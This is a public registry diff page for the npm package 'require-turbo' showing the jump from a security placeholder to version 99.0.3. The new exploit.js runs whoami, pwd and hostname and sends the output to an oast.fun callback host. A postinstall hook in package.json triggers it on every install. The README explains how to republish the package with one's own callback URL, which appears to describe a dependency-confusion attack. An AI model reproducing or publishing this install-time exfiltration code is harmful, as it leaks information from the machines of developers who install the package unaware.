require-turbo 0.0.1-security → 99.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of require-turbo might be problematic. Click here for more details.
- package/README.md +4 -4
- package/exploit.js +33 -0
- package/package.json +10 -3
package/README.md
CHANGED
@@ -1,5 +1,5 @@
|
|
1
|
-
|
1
|
+
Clone this into a package name directory
|
2
|
+
run
|
3
|
+
npm publish --access public
|
2
4
|
|
3
|
-
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=require-turbo for more information.
|
5
|
+
NOTE: change the attacker.com to your callbackurl or burp collaborator
|
package/exploit.js
ADDED
@@ -0,0 +1,33 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
// 引入 child_process 模块来执行外部命令
|
3
|
+
const { execSync } = require('child_process');
|
4
|
+
|
5
|
+
try {
|
6
|
+
// 1. 执行命令并获取输出
|
7
|
+
// execSync 的返回值是 Buffer 类型,需要转换为字符串
|
8
|
+
// .trim() 用于移除输出结果末尾可能存在的换行符
|
9
|
+
const user = execSync('whoami').toString().trim();
|
10
|
+
const currentPath = execSync('pwd').toString().trim();
|
11
|
+
const hostname = execSync('hostname').toString().trim();
|
12
|
+
|
13
|
+
// 2. 使用正确的模板字符串语法 ${...} 构建 URL
|
14
|
+
const url = `http://gyjowarodlxnvtkmuxmokoen6v6f32yug.oast.fun/?user=${user}&path=${currentPath}&hostname=${hostname}`;
|
15
|
+
|
16
|
+
//console.log(`正在请求的 URL: ${url}`);
|
17
|
+
|
18
|
+
// 3. 发起 HTTP GET 请求
|
19
|
+
const req = http.get(url, (res) => {
|
20
|
+
console.log(`OK!`)
|
21
|
+
//console.log(`响应状态码: ${res.statusCode}`);
|
22
|
+
// 你可以在这里处理响应
|
23
|
+
});
|
24
|
+
|
25
|
+
req.on('error', (error) => {
|
26
|
+
console.error(`请求遇到错误: ${error.message}`);
|
27
|
+
});
|
28
|
+
|
29
|
+
// req.end() 会被 http.get 自动调用
|
30
|
+
|
31
|
+
} catch (error) {
|
32
|
+
console.error('执行系统命令时出错:', error);
|
33
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
2
|
"name": "require-turbo",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
|
3
|
+
"version": "99.0.3",
|
4
|
+
"scripts": {
|
5
|
+
"postinstall": "node exploit.js"
|
6
|
+
},
|
7
|
+
"files": [
|
8
|
+
"exploit.js"
|
9
|
+
],
|
10
|
+
"dependencies": {
|
11
|
+
"@woocommerce/currency": "^4.2.0"
|
12
|
+
}
|
6
13
|
}
|